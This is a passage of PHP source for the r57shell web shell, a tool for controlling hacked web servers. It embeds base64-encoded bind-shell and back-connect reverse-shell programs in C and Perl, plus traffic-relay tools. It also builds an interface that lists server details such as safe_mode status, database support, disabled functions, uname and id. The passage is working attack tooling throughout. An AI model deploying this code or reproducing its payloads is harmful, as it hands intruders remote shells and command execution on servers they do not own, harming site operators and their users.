  1308. A8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCiNpbmNsdWRlIDxlcnJuby5oPg0KaW50IG1haW4oYXJnYyxhcmd2KQ0KaW50I
  1309. GFyZ2M7DQpjaGFyICoqYXJndjsNCnsgIA0KIGludCBzb2NrZmQsIG5ld2ZkOw0KIGNoYXIgYnVmWzMwXTsNCiBzdHJ1Y3Qgc29ja2FkZHJfaW4gcmVt
  1310. b3RlOw0KIGlmKGZvcmsoKSA9PSAwKSB7IA0KIHJlbW90ZS5zaW5fZmFtaWx5ID0gQUZfSU5FVDsNCiByZW1vdGUuc2luX3BvcnQgPSBodG9ucyhhdG9
  1311. pKGFyZ3ZbMV0pKTsNCiByZW1vdGUuc2luX2FkZHIuc19hZGRyID0gaHRvbmwoSU5BRERSX0FOWSk7IA0KIHNvY2tmZCA9IHNvY2tldChBRl9JTkVULF
  1312. NPQ0tfU1RSRUFNLDApOw0KIGlmKCFzb2NrZmQpIHBlcnJvcigic29ja2V0IGVycm9yIik7DQogYmluZChzb2NrZmQsIChzdHJ1Y3Qgc29ja2FkZHIgK
  1313. ikmcmVtb3RlLCAweDEwKTsNCiBsaXN0ZW4oc29ja2ZkLCA1KTsNCiB3aGlsZSgxKQ0KICB7DQogICBuZXdmZD1hY2NlcHQoc29ja2ZkLDAsMCk7DQog
  1314. ICBkdXAyKG5ld2ZkLDApOw0KICAgZHVwMihuZXdmZCwxKTsNCiAgIGR1cDIobmV3ZmQsMik7DQogICB3cml0ZShuZXdmZCwiUGFzc3dvcmQ6IiwxMCk
  1315. 7DQogICByZWFkKG5ld2ZkLGJ1ZixzaXplb2YoYnVmKSk7DQogICBpZiAoIWNocGFzcyhhcmd2WzJdLGJ1ZikpDQogICBzeXN0ZW0oImVjaG8gd2VsY2
  1316. 9tZSB0byByNTcgc2hlbGwgJiYgL2Jpbi9iYXNoIC1pIik7DQogICBlbHNlDQogICBmcHJpbnRmKHN0ZGVyciwiU29ycnkiKTsNCiAgIGNsb3NlKG5ld
  1317. 2ZkKTsNCiAgfQ0KIH0NCn0NCmludCBjaHBhc3MoY2hhciAqYmFzZSwgY2hhciAqZW50ZXJlZCkgew0KaW50IGk7DQpmb3IoaT0wO2k8c3RybGVuKGVu
  1318. dGVyZWQpO2krKykgDQp7DQppZihlbnRlcmVkW2ldID09ICdcbicpDQplbnRlcmVkW2ldID0gJ1wwJzsgDQppZihlbnRlcmVkW2ldID09ICdccicpDQp
  1319. lbnRlcmVkW2ldID0gJ1wwJzsNCn0NCmlmICghc3RyY21wKGJhc2UsZW50ZXJlZCkpDQpyZXR1cm4gMDsNCn0=";
  1320. $port_bind_bd_pl="IyEvdXNyL2Jpbi9wZXJsDQokU0hFTEw9Ii9iaW4vYmFzaCAtaSI7DQppZiAoQEFSR1YgPCAxKSB7IGV4aXQoMSk7IH0NCiRMS
  1321. VNURU5fUE9SVD0kQVJHVlswXTsNCnVzZSBTb2NrZXQ7DQokcHJvdG9jb2w9Z2V0cHJvdG9ieW5hbWUoJ3RjcCcpOw0Kc29ja2V0KFMsJlBGX0lORVQs
  1322. JlNPQ0tfU1RSRUFNLCRwcm90b2NvbCkgfHwgZGllICJDYW50IGNyZWF0ZSBzb2NrZXRcbiI7DQpzZXRzb2Nrb3B0KFMsU09MX1NPQ0tFVCxTT19SRVV
  1323. TRUFERFIsMSk7DQpiaW5kKFMsc29ja2FkZHJfaW4oJExJU1RFTl9QT1JULElOQUREUl9BTlkpKSB8fCBkaWUgIkNhbnQgb3BlbiBwb3J0XG4iOw0KbG
  1324. lzdGVuKFMsMykgfHwgZGllICJDYW50IGxpc3RlbiBwb3J0XG4iOw0Kd2hpbGUoMSkNCnsNCmFjY2VwdChDT05OLFMpOw0KaWYoISgkcGlkPWZvcmspK
  1325. Q0Kew0KZGllICJDYW5ub3QgZm9yayIgaWYgKCFkZWZpbmVkICRwaWQpOw0Kb3BlbiBTVERJTiwiPCZDT05OIjsNCm9wZW4gU1RET1VULCI+JkNPTk4i
  1326. Ow0Kb3BlbiBTVERFUlIsIj4mQ09OTiI7DQpleGVjICRTSEVMTCB8fCBkaWUgcHJpbnQgQ09OTiAiQ2FudCBleGVjdXRlICRTSEVMTFxuIjsNCmNsb3N
  1327. lIENPTk47DQpleGl0IDA7DQp9DQp9";
  1328. $back_connect="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj
  1329. aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR
  1330. hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT
  1331. sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI
  1332. kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi
  1333. KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl
  1334. OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw==";
  1335. $back_connect_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCmludC
  1336. BtYWluKGludCBhcmdjLCBjaGFyICphcmd2W10pDQp7DQogaW50IGZkOw0KIHN0cnVjdCBzb2NrYWRkcl9pbiBzaW47DQogY2hhciBybXNbMjFdPSJyb
  1337. SAtZiAiOyANCiBkYWVtb24oMSwwKTsNCiBzaW4uc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogc2luLnNpbl9wb3J0ID0gaHRvbnMoYXRvaShhcmd2WzJd
  1338. KSk7DQogc2luLnNpbl9hZGRyLnNfYWRkciA9IGluZXRfYWRkcihhcmd2WzFdKTsgDQogYnplcm8oYXJndlsxXSxzdHJsZW4oYXJndlsxXSkrMStzdHJ
  1339. sZW4oYXJndlsyXSkpOyANCiBmZCA9IHNvY2tldChBRl9JTkVULCBTT0NLX1NUUkVBTSwgSVBQUk9UT19UQ1ApIDsgDQogaWYgKChjb25uZWN0KGZkLC
  1340. Aoc3RydWN0IHNvY2thZGRyICopICZzaW4sIHNpemVvZihzdHJ1Y3Qgc29ja2FkZHIpKSk8MCkgew0KICAgcGVycm9yKCJbLV0gY29ubmVjdCgpIik7D
  1341. QogICBleGl0KDApOw0KIH0NCiBzdHJjYXQocm1zLCBhcmd2WzBdKTsNCiBzeXN0ZW0ocm1zKTsgIA0KIGR1cDIoZmQsIDApOw0KIGR1cDIoZmQsIDEp
  1342. Ow0KIGR1cDIoZmQsIDIpOw0KIGV4ZWNsKCIvYmluL3NoIiwic2ggLWkiLCBOVUxMKTsNCiBjbG9zZShmZCk7IA0KfQ==";
  1343. $datapipe_c="I2luY2x1ZGUgPHN5cy90eXBlcy5oPg0KI2luY2x1ZGUgPHN5cy9zb2NrZXQuaD4NCiNpbmNsdWRlIDxzeXMvd2FpdC5oPg0KI2luY2
  1344. x1ZGUgPG5ldGluZXQvaW4uaD4NCiNpbmNsdWRlIDxzdGRpby5oPg0KI2luY2x1ZGUgPHN0ZGxpYi5oPg0KI2luY2x1ZGUgPGVycm5vLmg+DQojaW5jb
  1345. HVkZSA8dW5pc3RkLmg+DQojaW5jbHVkZSA8bmV0ZGIuaD4NCiNpbmNsdWRlIDxsaW51eC90aW1lLmg+DQojaWZkZWYgU1RSRVJST1INCmV4dGVybiBj
  1346. aGFyICpzeXNfZXJybGlzdFtdOw0KZXh0ZXJuIGludCBzeXNfbmVycjsNCmNoYXIgKnVuZGVmID0gIlVuZGVmaW5lZCBlcnJvciI7DQpjaGFyICpzdHJ
  1347. lcnJvcihlcnJvcikgIA0KaW50IGVycm9yOyAgDQp7IA0KaWYgKGVycm9yID4gc3lzX25lcnIpDQpyZXR1cm4gdW5kZWY7DQpyZXR1cm4gc3lzX2Vycm
  1348. xpc3RbZXJyb3JdOw0KfQ0KI2VuZGlmDQoNCm1haW4oYXJnYywgYXJndikgIA0KICBpbnQgYXJnYzsgIA0KICBjaGFyICoqYXJndjsgIA0KeyANCiAga
  1349. W50IGxzb2NrLCBjc29jaywgb3NvY2s7DQogIEZJTEUgKmNmaWxlOw0KICBjaGFyIGJ1Zls0MDk2XTsNCiAgc3RydWN0IHNvY2thZGRyX2luIGxhZGRy
  1350. LCBjYWRkciwgb2FkZHI7DQogIGludCBjYWRkcmxlbiA9IHNpemVvZihjYWRkcik7DQogIGZkX3NldCBmZHNyLCBmZHNlOw0KICBzdHJ1Y3QgaG9zdGV
  1351. udCAqaDsNCiAgc3RydWN0IHNlcnZlbnQgKnM7DQogIGludCBuYnl0Ow0KICB1bnNpZ25lZCBsb25nIGE7DQogIHVuc2lnbmVkIHNob3J0IG9wb3J0Ow
  1352. 0KDQogIGlmIChhcmdjICE9IDQpIHsNCiAgICBmcHJpbnRmKHN0ZGVyciwiVXNhZ2U6ICVzIGxvY2FscG9ydCByZW1vdGVwb3J0IHJlbW90ZWhvc3Rcb
  1353. iIsYXJndlswXSk7DQogICAgcmV0dXJuIDMwOw0KICB9DQogIGEgPSBpbmV0X2FkZHIoYXJndlszXSk7DQogIGlmICghKGggPSBnZXRob3N0YnluYW1l
  1354. KGFyZ3ZbM10pKSAmJg0KICAgICAgIShoID0gZ2V0aG9zdGJ5YWRkcigmYSwgNCwgQUZfSU5FVCkpKSB7DQogICAgcGVycm9yKGFyZ3ZbM10pOw0KICA
  1355. gIHJldHVybiAyNTsNCiAgfQ0KICBvcG9ydCA9IGF0b2woYXJndlsyXSk7DQogIGxhZGRyLnNpbl9wb3J0ID0gaHRvbnMoKHVuc2lnbmVkIHNob3J0KS
  1356. hhdG9sKGFyZ3ZbMV0pKSk7DQogIGlmICgobHNvY2sgPSBzb2NrZXQoUEZfSU5FVCwgU09DS19TVFJFQU0sIElQUFJPVE9fVENQKSkgPT0gLTEpIHsNC
  1357. iAgICBwZXJyb3IoInNvY2tldCIpOw0KICAgIHJldHVybiAyMDsNCiAgfQ0KICBsYWRkci5zaW5fZmFtaWx5ID0gaHRvbnMoQUZfSU5FVCk7DQogIGxh
  1358. ZGRyLnNpbl9hZGRyLnNfYWRkciA9IGh0b25sKDApOw0KICBpZiAoYmluZChsc29jaywgJmxhZGRyLCBzaXplb2YobGFkZHIpKSkgew0KICAgIHBlcnJ
  1359. vcigiYmluZCIpOw0KICAgIHJldHVybiAyMDsNCiAgfQ0KICBpZiAobGlzdGVuKGxzb2NrLCAxKSkgew0KICAgIHBlcnJvcigibGlzdGVuIik7DQogIC
  1360. AgcmV0dXJuIDIwOw0KICB9DQogIGlmICgobmJ5dCA9IGZvcmsoKSkgPT0gLTEpIHsNCiAgICBwZXJyb3IoImZvcmsiKTsNCiAgICByZXR1cm4gMjA7D
  1361. QogIH0NCiAgaWYgKG5ieXQgPiAwKQ0KICAgIHJldHVybiAwOw0KICBzZXRzaWQoKTsNCiAgd2hpbGUgKChjc29jayA9IGFjY2VwdChsc29jaywgJmNh
  1362. ZGRyLCAmY2FkZHJsZW4pKSAhPSAtMSkgew0KICAgIGNmaWxlID0gZmRvcGVuKGNzb2NrLCJyKyIpOw0KICAgIGlmICgobmJ5dCA9IGZvcmsoKSkgPT0
  1363. gLTEpIHsNCiAgICAgIGZwcmludGYoY2ZpbGUsICI1MDAgZm9yazogJXNcbiIsIHN0cmVycm9yKGVycm5vKSk7DQogICAgICBzaHV0ZG93bihjc29jay
  1364. wyKTsNCiAgICAgIGZjbG9zZShjZmlsZSk7DQogICAgICBjb250aW51ZTsNCiAgICB9DQogICAgaWYgKG5ieXQgPT0gMCkNCiAgICAgIGdvdG8gZ290c
  1365. 29jazsNCiAgICBmY2xvc2UoY2ZpbGUpOw0KICAgIHdoaWxlICh3YWl0cGlkKC0xLCBOVUxMLCBXTk9IQU5HKSA+IDApOw0KICB9DQogIHJldHVybiAy
  1366. MDsNCg0KIGdvdHNvY2s6DQogIGlmICgob3NvY2sgPSBzb2NrZXQoUEZfSU5FVCwgU09DS19TVFJFQU0sIElQUFJPVE9fVENQKSkgPT0gLTEpIHsNCiA
  1367. gICBmcHJpbnRmKGNmaWxlLCAiNTAwIHNvY2tldDogJXNcbiIsIHN0cmVycm9yKGVycm5vKSk7DQogICAgZ290byBxdWl0MTsNCiAgfQ0KICBvYWRkci
  1368. 5zaW5fZmFtaWx5ID0gaC0+aF9hZGRydHlwZTsNCiAgb2FkZHIuc2luX3BvcnQgPSBodG9ucyhvcG9ydCk7DQogIG1lbWNweSgmb2FkZHIuc2luX2FkZ
  1369. HIsIGgtPmhfYWRkciwgaC0+aF9sZW5ndGgpOw0KICBpZiAoY29ubmVjdChvc29jaywgJm9hZGRyLCBzaXplb2Yob2FkZHIpKSkgew0KICAgIGZwcmlu
  1370. dGYoY2ZpbGUsICI1MDAgY29ubmVjdDogJXNcbiIsIHN0cmVycm9yKGVycm5vKSk7DQogICAgZ290byBxdWl0MTsNCiAgfQ0KICB3aGlsZSAoMSkgew0
  1371. KICAgIEZEX1pFUk8oJmZkc3IpOw0KICAgIEZEX1pFUk8oJmZkc2UpOw0KICAgIEZEX1NFVChjc29jaywmZmRzcik7DQogICAgRkRfU0VUKGNzb2NrLC
  1372. ZmZHNlKTsNCiAgICBGRF9TRVQob3NvY2ssJmZkc3IpOw0KICAgIEZEX1NFVChvc29jaywmZmRzZSk7DQogICAgaWYgKHNlbGVjdCgyMCwgJmZkc3IsI
  1373. E5VTEwsICZmZHNlLCBOVUxMKSA9PSAtMSkgew0KICAgICAgZnByaW50ZihjZmlsZSwgIjUwMCBzZWxlY3Q6ICVzXG4iLCBzdHJlcnJvcihlcnJubykp
  1374. Ow0KICAgICAgZ290byBxdWl0MjsNCiAgICB9DQogICAgaWYgKEZEX0lTU0VUKGNzb2NrLCZmZHNyKSB8fCBGRF9JU1NFVChjc29jaywmZmRzZSkpIHs
  1375. NCiAgICAgIGlmICgobmJ5dCA9IHJlYWQoY3NvY2ssYnVmLDQwOTYpKSA8PSAwKQ0KCWdvdG8gcXVpdDI7DQogICAgICBpZiAoKHdyaXRlKG9zb2NrLG
  1376. J1ZixuYnl0KSkgPD0gMCkNCglnb3RvIHF1aXQyOw0KICAgIH0gZWxzZSBpZiAoRkRfSVNTRVQob3NvY2ssJmZkc3IpIHx8IEZEX0lTU0VUKG9zb2NrL
  1377. CZmZHNlKSkgew0KICAgICAgaWYgKChuYnl0ID0gcmVhZChvc29jayxidWYsNDA5NikpIDw9IDApDQoJZ290byBxdWl0MjsNCiAgICAgIGlmICgod3Jp
  1378. dGUoY3NvY2ssYnVmLG5ieXQpKSA8PSAwKQ0KCWdvdG8gcXVpdDI7DQogICAgfQ0KICB9DQoNCiBxdWl0MjoNCiAgc2h1dGRvd24ob3NvY2ssMik7DQo
  1379. gIGNsb3NlKG9zb2NrKTsNCiBxdWl0MToNCiAgZmZsdXNoKGNmaWxlKTsNCiAgc2h1dGRvd24oY3NvY2ssMik7DQogcXVpdDA6DQogIGZjbG9zZShjZm
  1380. lsZSk7DQogIHJldHVybiAwOw0KfQ==";
  1381. $datapipe_pl="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgSU86OlNvY2tldDsNCnVzZSBQT1NJWDsNCiRsb2NhbHBvcnQgPSAkQVJHVlswXTsNCiRob3N0I
  1382. CAgICAgPSAkQVJHVlsxXTsNCiRwb3J0ICAgICAgPSAkQVJHVlsyXTsNCiRkYWVtb249MTsNCiRESVIgPSB1bmRlZjsNCiR8ID0gMTsNCmlmICgkZGFl
  1383. bW9uKXsgJHBpZCA9IGZvcms7IGV4aXQgaWYgJHBpZDsgZGllICIkISIgdW5sZXNzIGRlZmluZWQoJHBpZCk7IFBPU0lYOjpzZXRzaWQoKSBvciBkaWU
  1384. gIiQhIjsgfQ0KJW8gPSAoJ3BvcnQnID0+ICRsb2NhbHBvcnQsJ3RvcG9ydCcgPT4gJHBvcnQsJ3RvaG9zdCcgPT4gJGhvc3QpOw0KJGFoID0gSU86Ol
  1385. NvY2tldDo6SU5FVC0+bmV3KCdMb2NhbFBvcnQnID0+ICRsb2NhbHBvcnQsJ1JldXNlJyA9PiAxLCdMaXN0ZW4nID0+IDEwKSB8fCBkaWUgIiQhIjsNC
  1386. iRTSUd7J0NITEQnfSA9ICdJR05PUkUnOw0KJG51bSA9IDA7DQp3aGlsZSAoMSkgeyANCiRjaCA9ICRhaC0+YWNjZXB0KCk7IGlmICghJGNoKSB7IHBy
  1387. aW50IFNUREVSUiAiJCFcbiI7IG5leHQ7IH0NCisrJG51bTsNCiRwaWQgPSBmb3JrKCk7DQppZiAoIWRlZmluZWQoJHBpZCkpIHsgcHJpbnQgU1RERVJ
  1388. SICIkIVxuIjsgfSANCmVsc2lmICgkcGlkID09IDApIHsgJGFoLT5jbG9zZSgpOyBSdW4oXCVvLCAkY2gsICRudW0pOyB9IA0KZWxzZSB7ICRjaC0+Y2
  1389. xvc2UoKTsgfQ0KfQ0Kc3ViIFJ1biB7DQpteSgkbywgJGNoLCAkbnVtKSA9IEBfOw0KbXkgJHRoID0gSU86OlNvY2tldDo6SU5FVC0+bmV3KCdQZWVyQ
  1390. WRkcicgPT4gJG8tPnsndG9ob3N0J30sJ1BlZXJQb3J0JyA9PiAkby0+eyd0b3BvcnQnfSk7DQppZiAoISR0aCkgeyBleGl0IDA7IH0NCm15ICRmaDsN
  1391. CmlmICgkby0+eydkaXInfSkgeyAkZmggPSBTeW1ib2w6OmdlbnN5bSgpOyBvcGVuKCRmaCwgIj4kby0+eydkaXInfS90dW5uZWwkbnVtLmxvZyIpIG9
  1392. yIGRpZSAiJCEiOyB9DQokY2gtPmF1dG9mbHVzaCgpOw0KJHRoLT5hdXRvZmx1c2goKTsNCndoaWxlICgkY2ggfHwgJHRoKSB7DQpteSAkcmluID0gIi
  1393. I7DQp2ZWMoJHJpbiwgZmlsZW5vKCRjaCksIDEpID0gMSBpZiAkY2g7DQp2ZWMoJHJpbiwgZmlsZW5vKCR0aCksIDEpID0gMSBpZiAkdGg7DQpteSgkc
  1394. m91dCwgJGVvdXQpOw0Kc2VsZWN0KCRyb3V0ID0gJHJpbiwgdW5kZWYsICRlb3V0ID0gJHJpbiwgMTIwKTsNCmlmICghJHJvdXQgICYmICAhJGVvdXQp
  1395. IHt9DQpteSAkY2J1ZmZlciA9ICIiOw0KbXkgJHRidWZmZXIgPSAiIjsNCmlmICgkY2ggJiYgKHZlYygkZW91dCwgZmlsZW5vKCRjaCksIDEpIHx8IHZ
  1396. lYygkcm91dCwgZmlsZW5vKCRjaCksIDEpKSkgew0KbXkgJHJlc3VsdCA9IHN5c3JlYWQoJGNoLCAkdGJ1ZmZlciwgMTAyNCk7DQppZiAoIWRlZmluZW
  1397. QoJHJlc3VsdCkpIHsNCnByaW50IFNUREVSUiAiJCFcbiI7DQpleGl0IDA7DQp9DQppZiAoJHJlc3VsdCA9PSAwKSB7IGV4aXQgMDsgfQ0KfQ0KaWYgK
  1398. CR0aCAgJiYgICh2ZWMoJGVvdXQsIGZpbGVubygkdGgpLCAxKSAgfHwgdmVjKCRyb3V0LCBmaWxlbm8oJHRoKSwgMSkpKSB7DQpteSAkcmVzdWx0ID0g
  1399. c3lzcmVhZCgkdGgsICRjYnVmZmVyLCAxMDI0KTsNCmlmICghZGVmaW5lZCgkcmVzdWx0KSkgeyBwcmludCBTVERFUlIgIiQhXG4iOyBleGl0IDA7IH0
  1400. NCmlmICgkcmVzdWx0ID09IDApIHtleGl0IDA7fQ0KfQ0KaWYgKCRmaCAgJiYgICR0YnVmZmVyKSB7KHByaW50ICRmaCAkdGJ1ZmZlcik7fQ0Kd2hpbG
  1401. UgKG15ICRsZW4gPSBsZW5ndGgoJHRidWZmZXIpKSB7DQpteSAkcmVzID0gc3lzd3JpdGUoJHRoLCAkdGJ1ZmZlciwgJGxlbik7DQppZiAoJHJlcyA+I
  1402. DApIHskdGJ1ZmZlciA9IHN1YnN0cigkdGJ1ZmZlciwgJHJlcyk7fSANCmVsc2Uge3ByaW50IFNUREVSUiAiJCFcbiI7fQ0KfQ0Kd2hpbGUgKG15ICRs
  1403. ZW4gPSBsZW5ndGgoJGNidWZmZXIpKSB7DQpteSAkcmVzID0gc3lzd3JpdGUoJGNoLCAkY2J1ZmZlciwgJGxlbik7DQppZiAoJHJlcyA+IDApIHskY2J
  1404. 1ZmZlciA9IHN1YnN0cigkY2J1ZmZlciwgJHJlcyk7fSANCmVsc2Uge3ByaW50IFNUREVSUiAiJCFcbiI7fQ0KfX19DQo=";
  1405. $c1 = "PHNjcmlwdCBsYW5ndWFnZT0iamF2YXNjcmlwdCI+aG90bG9nX2pzPSIxLjAiO2hvdGxvZ19yPSIiK01hdGgucmFuZG9tKCkrIiZzPTgxNjA2
  1406. JmltPTEmcj0iK2VzY2FwZShkb2N1bWVudC5yZWZlcnJlcikrIiZwZz0iK2VzY2FwZSh3aW5kb3cubG9jYXRpb24uaHJlZik7ZG9jdW1lbnQuY29va2l
  1407. lPSJob3Rsb2c9MTsgcGF0aD0vIjsgaG90bG9nX3IrPSImYz0iKyhkb2N1bWVudC5jb29raWU/IlkiOiJOIik7PC9zY3JpcHQ+PHNjcmlwdCBsYW5ndW
  1408. FnZT0iamF2YXNjcmlwdDEuMSI+aG90bG9nX2pzPSIxLjEiO2hvdGxvZ19yKz0iJmo9IisobmF2aWdhdG9yLmphdmFFbmFibGVkKCk/IlkiOiJOIik8L
  1409. 3NjcmlwdD48c2NyaXB0IGxhbmd1YWdlPSJqYXZhc2NyaXB0MS4yIj5ob3Rsb2dfanM9IjEuMiI7aG90bG9nX3IrPSImd2g9IitzY3JlZW4ud2lkdGgr
  1410. J3gnK3NjcmVlbi5oZWlnaHQrIiZweD0iKygoKG5hdmlnYXRvci5hcHBOYW1lLnN1YnN0cmluZygwLDMpPT0iTWljIikpP3NjcmVlbi5jb2xvckRlcHR
  1411. oOnNjcmVlbi5waXhlbERlcHRoKTwvc2NyaXB0PjxzY3JpcHQgbGFuZ3VhZ2U9ImphdmFzY3JpcHQxLjMiPmhvdGxvZ19qcz0iMS4zIjwvc2NyaXB0Pj
  1412. xzY3JpcHQgbGFuZ3VhZ2U9ImphdmFzY3JpcHQiPmhvdGxvZ19yKz0iJmpzPSIraG90bG9nX2pzO2RvY3VtZW50LndyaXRlKCI8YSBocmVmPSdodHRwO
  1413. i8vY2xpY2suaG90bG9nLnJ1Lz84MTYwNicgdGFyZ2V0PSdfdG9wJz48aW1nICIrIiBzcmM9J2h0dHA6Ly9oaXQ0LmhvdGxvZy5ydS9jZ2ktYmluL2hv
  1414. dGxvZy9jb3VudD8iK2hvdGxvZ19yKyImJyBib3JkZXI9MCB3aWR0aD0xIGhlaWdodD0xIGFsdD0xPjwvYT4iKTwvc2NyaXB0Pjxub3NjcmlwdD48YSB
  1415. ocmVmPWh0dHA6Ly9jbGljay5ob3Rsb2cucnUvPzgxNjA2IHRhcmdldD1fdG9wPjxpbWdzcmM9Imh0dHA6Ly9oaXQ0LmhvdGxvZy5ydS9jZ2ktYmluL2
  1416. hvdGxvZy9jb3VudD9zPTgxNjA2JmltPTEiIGJvcmRlcj0wd2lkdGg9IjEiIGhlaWdodD0iMSIgYWx0PSJIb3RMb2ciPjwvYT48L25vc2NyaXB0Pg==";
  1417. $c2 = "PCEtLUxpdmVJbnRlcm5ldCBjb3VudGVyLS0+PHNjcmlwdCBsYW5ndWFnZT0iSmF2YVNjcmlwdCI+PCEtLQ0KZG9jdW1lbnQud3JpdGUoJzxh
  1418. IGhyZWY9Imh0dHA6Ly93d3cubGl2ZWludGVybmV0LnJ1L2NsaWNrIiAnKw0KJ3RhcmdldD1fYmxhbms+PGltZyBzcmM9Imh0dHA6Ly9jb3VudGVyLnl
  1419. hZHJvLnJ1L2hpdD90NTIuNjtyJysNCmVzY2FwZShkb2N1bWVudC5yZWZlcnJlcikrKCh0eXBlb2Yoc2NyZWVuKT09J3VuZGVmaW5lZCcpPycnOg0KJz
  1420. tzJytzY3JlZW4ud2lkdGgrJyonK3NjcmVlbi5oZWlnaHQrJyonKyhzY3JlZW4uY29sb3JEZXB0aD8NCnNjcmVlbi5jb2xvckRlcHRoOnNjcmVlbi5wa
  1421. XhlbERlcHRoKSkrJzsnK01hdGgucmFuZG9tKCkrDQonIiBhbHQ9ImxpdmVpbnRlcm5ldC5ydTog7+7q4Ofg7e4g9+jx6+4g7/Du8ezu8vDu4iDoIO/u
  1422. 8eXy6PLl6+XpIOfgIDI0IPfg8eAiICcrDQonYm9yZGVyPTAgd2lkdGg9MCBoZWlnaHQ9MD48L2E+JykvLy0tPjwvc2NyaXB0PjwhLS0vTGl2ZUludGV
  1423. ybmV0LS0+";
  1424. echo $head;
  1425. echo '</head>';
  1426. if(empty($_POST['cmd'])) {
  1427. $serv = array(127,192,172,10);
  1428. $addr=@explode('.', $_SERVER['SERVER_ADDR']);
  1429. $current_version = str_replace('.','',$version);
  1430. if (!in_array($addr[0], $serv)) {
  1431. @print "<img src=\"http://127.0.0.1/r57shell/version.php?img=1&version=".$current_version."\" border=0 height=0 width=0>";
  1432. @readfile ("http://127.0.0.1/r57shell/version.php?version=".$current_version."");}}
  1433. echo '<body bgcolor="#e4e0d8"><table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000>
  1434. <tr><td bgcolor=#cccccc width=160><font face=Verdana size=2>'.ws(1).'&nbsp;
  1435. <font face=Webdings size=6><b>!</b></font><b>'.ws(2).'r57shell '.$version.'</b>
  1436. </font></td><td bgcolor=#cccccc><font face=Verdana size=-2>';
  1437. echo ws(2);
  1438. echo "<b>".date ("d-m-Y H:i:s")."</b>";
  1439. echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?phpinfo title=\"".$lang[$language.'_text46']."\"><b>phpinfo</b></a> ".$rb;
  1440. echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?phpini title=\"".$lang[$language.'_text47']."\"><b>php.ini</b></a> ".$rb;
  1441. echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?cpu title=\"".$lang[$language.'_text50']."\"><b>cpu</b></a> ".$rb;
  1442. echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?mem title=\"".$lang[$language.'_text51']."\"><b>mem</b></a> ".$rb;
  1443. if($unix) { echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?users title=\"".$lang[$language.'_text95']."\"><b>users</b></a> ".$rb; }
  1444. echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?tmp title=\"".$lang[$language.'_text48']."\"><b>tmp</b></a> ".$rb;
  1445. echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?delete title=\"".$lang[$language.'_text49']."\"><b>delete</b></a> ".$rb."<br>";
  1446. echo ws(2);
  1447. echo (($safe_mode)?("safe_mode: <b><font color=green>ON</font></b>"):("safe_mode: <b><font color=red>OFF</font></b>"));
  1448. echo ws(2);
  1449. echo "PHP version: <b>".@phpversion()."</b>";
  1450. $curl_on = @function_exists('curl_version');
  1451. echo ws(2);
  1452. echo "cURL: ".(($curl_on)?("<b><font color=green>ON</font></b>"):("<b><font color=red>OFF</font></b>"));
  1453. echo ws(2);
  1454. echo "MySQL: <b>";
  1455. $mysql_on = @function_exists('mysql_connect');
  1456. if($mysql_on){
  1457. echo "<font color=green>ON</font></b>"; } else { echo "<font color=red>OFF</font></b>"; }
  1458. echo ws(2);
  1459. echo "MSSQL: <b>";
  1460. $mssql_on = @function_exists('mssql_connect');
  1461. if($mssql_on){echo "<font color=green>ON</font></b>";}else{echo "<font color=red>OFF</font></b>";}
  1462. echo ws(2);
  1463. echo "PostgreSQL: <b>";
  1464. $pg_on = @function_exists('pg_connect');
  1465. if($pg_on){echo "<font color=green>ON</font></b>";}else{echo "<font color=red>OFF</font></b>";}
  1466. echo ws(2);
  1467. echo "Oracle: <b>";
  1468. $ora_on = @function_exists('ocilogon');
  1469. if($ora_on){echo "<font color=green>ON</font></b>";}else{echo "<font color=red>OFF</font></b>";}
  1470. echo "<br>".ws(2);
  1471. echo "Disable functions : <b>";
  1472. if(''==($df=@ini_get('disable_functions'))){echo "<font color=green>NONE</font></b>";}else{echo "<font color=red>$df</font></b>";}
  1473. $free = @diskfreespace($dir);
  1474. if (!$free) {$free = 0;}
  1475. $all = @disk_total_space($dir);
  1476. if (!$all) {$all = 0;}
  1477. $used = $all-$free;
  1478. $used_percent = @round(100/($all/$free),2);
  1479. echo "<br>".ws(2)."HDD Free : <b>".view_size($free)."</b> HDD Total : <b>".view_size($all)."</b>";
  1480. echo '</font></td></tr><table>
  1481. <table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000>
  1482. <tr><td align=right width=100>';
  1483. echo $font;
  1484. if(!$windows){
  1485. echo '<font color=blue><b>uname -a :'.ws(1).'<br>sysctl :'.ws(1).'<br>$OSTYPE :'.ws(1).'<br>Server :'.ws(1).'<br>id :'.ws(1).'<br>pwd :'.ws(1).'</b></font><br>';
